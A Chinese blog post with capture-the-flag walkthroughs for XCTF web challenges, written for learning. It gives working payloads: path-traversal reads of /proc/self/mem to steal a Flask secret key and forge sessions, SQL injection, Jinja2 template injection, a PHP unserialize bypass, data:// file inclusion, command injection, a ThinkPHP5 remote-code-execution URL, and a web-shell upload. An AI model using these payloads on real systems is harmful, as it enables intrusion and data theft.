攻防世界-Web难度2详细完整writeup

加油!  ------2024-01-14  18:41:54

catcat-new

猜测有任意文件读取漏洞

成功,说明有任意文件读取命令

任意文件读取

  • /etc/passwd

该文件储存了该Linux系统中所有用户的一些基本信息,只有root权限才可以修改。其具体格式为 用户名:口令:用户标识号:组标识号:注释性描述:主目录:登录Shell(以冒号作为分隔符)

  • */proc/self*

proc是一个伪文件系统,它提供了内核数据结构的接口。内核数据是在程序运行时存储在内部半导体存储器中数据。通过/proc/PID可以访问对应PID的进程内核数据,而/proc/self访问的是当前进程的内核数据。

  • /proc/self/cmdline

该文件包含的内容为当前进程执行的命令行参数。

  • /proc/self/mem

/proc/self/mem是当前进程的内存内容,通过修改该文件相当于直接修改当前进程的内存数据。但是注意该文件不能直接读取,因为文件中存在着一些无法读取的未被映射区域。所以要结合/proc/self/maps中的偏移地址进行读取。通过参数start和end及偏移地址值读取内容。

  • /proc/self/maps

/proc/self/maps包含的内容是当前进程的内存映射关系,可通过读取该文件来得到内存数据映射的地址。

访问/pro/cmdline

发现是python,这个网站应该是python搭的,app.py说明它是flask框架。

建议看一下我写的flask伪造的文章:https://www.cnblogs.com/AllFalls/p/17964031

尝试读取app.py

下面的是源码:

import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat

flag = ""
app = Flask(
    __name__,
    static_url_path='/',
    static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
if os.path.isfile("/flag"):
    flag = cat("/flag")
    os.remove("/flag")


@app.route('/', methods=['GET'])
def index():
    detailtxt = os.listdir('./details/')
    cats_list = []
    for i in detailtxt:
        cats_list.append(i[:i.index('.')])

    return render_template("index.html", cats_list=cats_list, cat=cat)


@app.route('/info', methods=["GET", 'POST'])
def info():
    filename = "./details/" + request.args.get('file', "")
    start = request.args.get('start', "0")
    end = request.args.get('end', "0")
    name = request.args.get('file', "")[:request.args.get('file', "").index('.')]

    return render_template("detail.html", catname=name, info=cat(filename, start, end))


@app.route('/admin', methods=["GET"])
def admin_can_list_root():
    if session.get('admin') == 1:
        return flag
    else:
        session['admin'] = 0
    return "NoNoNo"

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=5637)

session伪造的必要条件是获取SECRET_KEY。python存储对象的位置在堆上。app是个Flask对象,而secret key在app.config[‘SECRET_KEY’],读取/proc/self/mem得到进程的内存内容,进而获取到SECRET_KEY。不过读/proc/self/mem前要注意,/proc/self/mem内容较多而且存在不可读写部分,直接读取会导致程序崩溃,因此需要搭配/proc/self/maps获取堆栈分布,结合maps的映射信息来确定读的偏移值.大佬读取/proc/self/maps+/proc/self/mem+SECRET_KEY的脚本,可一键获取flag.

太难了,我不会。

参考这篇文章:https://blog.csdn.net/Fightever_/article/details/134003106

一下是脚本

import requests
import re
import ast, sys
from abc import ABC
from flask.sessions import SecureCookieSessionInterface

url = "http://61.147.171.105:60014/"

# 此程序只能运行于Python3以上
if sys.version_info[0] < 3:  # < 3.0
    raise Exception('Must be using at least Python 3')


# ----------------session 伪造,单独用也可以考虑这个库: https://github.com/noraj/flask-session-cookie-manager ----------------
class MockApp(object):
    def __init__(self, secret_key):
        self.secret_key = secret_key


class FSCM(ABC):
    def encode(secret_key, session_cookie_structure):
        # Encode a Flask session cookie
        try:
            app = MockApp(secret_key)

            session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
            si = SecureCookieSessionInterface()
            s = si.get_signing_serializer(app)

            return s.dumps(session_cookie_structure)
        except Exception as e:
            return "[Encoding error] {}".format(e)
            raise e


# -------------------------------------------


# 由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret key
s_key = ""
bypass = "../.."
# 请求file路由进行读取
map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
map_list = map_list.text.split("\\n")
for i in map_list:
    # 匹配指定格式的地址
    map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
    if map_addr:
        start = int(map_addr.group(1), 16)
        end = int(map_addr.group(2), 16)
        print("Found rw addr:", start, "-", end)

        # 设置起始和结束位置并读取/proc/self/mem
        res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")
        # 用到了之前特定的SECRET_KEY格式。如果发现*abcdefgh存在其中,说明成功泄露secretkey
        if "*abcdefgh" in res.text:
            # 正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh
            secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
            if secret_key:
                print("Secret Key:", secret_key[0])
                s_key = secret_key[0]
                break

# 设置session中admin的值为1
data = '{"admin":1}'
# 伪造session
headers = {
    "Cookie": "session=" + FSCM.encode(s_key, data)
}
# 请求admin路由
try:
    flag = requests.get(url + "admin", headers=headers)
    print("Flag is", flag.text)
except:
    print("Something error")
————————————————
版权声明:本文为CSDN博主「青梅煮酒与君饮」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/Fightever_/article/details/134003106

maps里面就是这东西,. r-xp用于.text. rw -p用于.data / .bss / heap / stack.,pythonflask用到的是堆。

醉了,用脚本死活爆破不出来,今天先放弃了!

下面这个脚本可以!建议参考一下题解:https://adworld.xctf.org.cn/challenges/list?rwNmOdr=1706001615005

# -*- coding:utf-8 -*-
""" 
作者:Wang Xinwei
日期:2024年01月14日
"""
import requests
import re

baseUrl = "http://61.147.171.105:62284/info?file=../../../../.."

if __name__ == "__main__":
    url = baseUrl + "/proc/self/maps"
    memInfoList = requests.get(url).text.split("\\n")
    mem = ""
    for i in memInfoList:
        memAddress = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
        if memAddress:
            start = int(memAddress.group(1), 16)
            end = int(memAddress.group(2), 16)
            infoUrl = baseUrl + "/proc/self/mem&start=" + str(start) + "&end=" + str(end)
            mem = requests.get(infoUrl).text
            if re.findall(r"{[\w]+}", mem):
                print(re.findall(r"\w+{\w+}", mem))

得到flag:catctf{Catch_the_c4t_HaHa}


web2

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
    $_o=strrev($str);
    // echo $_o;
        
    for($_0=0;$_0<strlen($_o);$_0++){
       
        $_c=substr($_o,$_0,1);
        $__=ord($_c)+1;
        $_c=chr($__);
        $_=$_.$_c;   
    } 
    return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
   逆向加密算法,解密$miwen就是flag
*/
?> 

rot13相当于移位13位,那么再rot13一次就是相当于还原。

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$a=str_rot13($miwen);
$a=strrev($a);
$a=base64_decode($a);
$_="";
for($_0=0;$_0<strlen($a);$_0++){

$_c=substr($a,$_0,1);
$__=ord($_c)-1;
$_c=chr($__);
$_=$_.$_c;
}
echo strrev($_);
// echo $_o;

?>

得到flag:flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}


upload1

前段检验,形同虚设。

点击check,删掉就行了。刷新一下就能上传了!

蚁剑连接拿到flag。


NewsCenter

回显位2,3

-1' union select 1,2,database()#

回显news

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='news' -- a

-1' union select 1,id,fl4g from news.secret_table-- a得到flag


Web_python_template_injection

关于模版注入,推荐这个:模版注入

poc:   /{{10+10}}

证明有模版漏洞

几种常用于ssti的魔术方法:

__class__  返回类型所属的对象

__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析

__base__   返回该对象所继承的基类

(__base__和__mro__都是用来寻找基类的)

__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表

__init__  类的初始化方法

__globals__  对包含函数全局变量的字典的引用

__builtins__  builtins就是引用

{{''.__class__.__mro__}} 返回基类,发现object是第三个。

{{''.__class__.__mro__[2].__subclasses__()}} 查看object的所有子类,看有没有可以利用的。有很多,放到notepad++里,进行换行操作

查找file,在第41行 ---》[40] 。可以进行利用。{{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}

成功读取。但是不知道flag的文件名,还是无法读取。

有os。

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

文件名叫fl4g.直接读取

{{[].__class__.__base__.__subclasses__()[40]('fl4g').read()}}

得到flag:

ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}


Web_php_unserialize

<?php 
class Demo 
    private 
$file 'index.php';
    public function 
__construct($file) { 
        
$this->file $file
    }
    function 
__destruct() { 
        echo @
highlight_file($this->filetrue); 
    }
    function 
__wakeup() { 
        if (
$this->file != 'index.php') { 
            
//the secret is in the fl4g.php
            
$this->file 'index.php'
        } 
    } 
}
if (isset(
$_GET['var'])) { 
    
$var base64_decode($_GET['var']); 
    if (
preg_match('/[oc]:\d+:/i'$var)) { 
        die(
'stop hacking!'); 
    } else {
        @
unserialize($var); 
    } 
} else { 
    
highlight_file("index.php"); 

?>

CVE-2016-7124当对象属性的个数大于真实属性的时候,会跳过__wakeup函数

preg_match('/[oc]:\d+:/i'$var)这句话就是不能出现O:数字。那么在数字前面加个+就可以绕过。

<?php
class Demo
{
private $file ='';

public function __construct()
{
$this->file ="fl4g.php";
}
}
//the secret is in the fl4g.php
$a=new Demo();
$b=serialize($a);
echo $b;
$s=str_replace('O:4','O:+4',$b);
$s=str_replace(':1:',':2:',$s);
echo "\n".$s;echo "\n";echo urlencode(base64_encode($s));
?>
 
 

Web_php_include

过略了php伪协议。我们用data协议。

$_SERVER['DOCUMENT_ROOT']     当前脚本的绝对路径

http://61.147.171.105:60475/?page=data://text/plain,%3C?php%20echo $_SERVER['DOCUMENT_ROOT'];?%3E

结合print_r和scandir

?page=data://text/plain,<?php print_r(scandir('/var/www'));?>

回显为以下内容Array ( [0] => . [1] => .. [2] => fl4gisisish3r3.php [3] => index.php [4] => phpinfo.php ) 

page=data://text/plain,<?php echo file_get_contents('fl4gisisish3r3.php');?> 输入这个无回显。但是代码是正确的。猜测被当作html代码被执行。用htmlspecialschars。用show_source也可以

page=data://text/plain,<?php echo htmlspecialchars(file_get_contents('fl4gisisish3r3.php'));?>

最终得到flag。flag="ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}


xff_referer

建议用hackbar改。

推荐读一下这个https://blog.csdn.net/2301_77485708/article/details/130793940

改请求头的xxf。

 

改referer

得到flag,cyberpeace{fb72e5244866f2cb426ad4faf55dd13c}

 


command_execution

127.0.0.1;ls / 没有找到flag字样

最后用cat查看home下的flag.txt文件。

也可以用find / -name flag查找具体位置.ps:但是我一直在加载中,搞不了一点。


php_rce

呦呦呦,一进去就是这玩意?直接php代码执行漏洞走起。太兴奋了啊!

thinkphp5漏洞

通用pauload

index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat ../../../flag

查找flag:cat $(find / -name flag)

后面放上你的payload

得到flag:flag{thinkphp5_rce}


supersqli

1' or 1=1#  取出当前表所有数据

输入-1' union select 1,2,3#,提示过滤了

使用堆叠注入

-1';show databases#

得到表:

"ctftraining"
"information_schema"
"mysql"
"performance_schema"
"supersqli"
"test"

 ';show tables;显示当前表

 "1919810931114514"
"words"

无法查询的话,我们就用改名的方法。把我们需要的表改成它刚开始查询的表。

查询supersqli发现这两个表

查询那个奇怪的数字

1';show columns from `1919810931114514`;#      (字符串为表名操作时要加反引号)

这个就是我们需要的表。

将words改名为word1,把那个数字改成words。同时将列名改成id

1'; rename tables words to words1;rename tables `1919810931114514` to words;alter table words change flag id varchar(100);#

然后再万能密码查询所有信息

得到flag:

flag{c168d583ed0d4d7196967b28cbd0b5e9}

这道题除了改表名。还可以进行handler查询法。

https://www.codenong.com/cs110469781/

1';handler `1919810931114514` open;handler `1919810931114514` read first;


warmup

在其他文章已写。

https://www.cnblogs.com/AllFalls/articles/17961787#_label2

flag: flag{25e7bce6005c4e0c983fb97297ac6e5a} 

 
posted @ 2024-01-23 23:05  AllFalls  阅读(45)  评论(0编辑  收藏  举报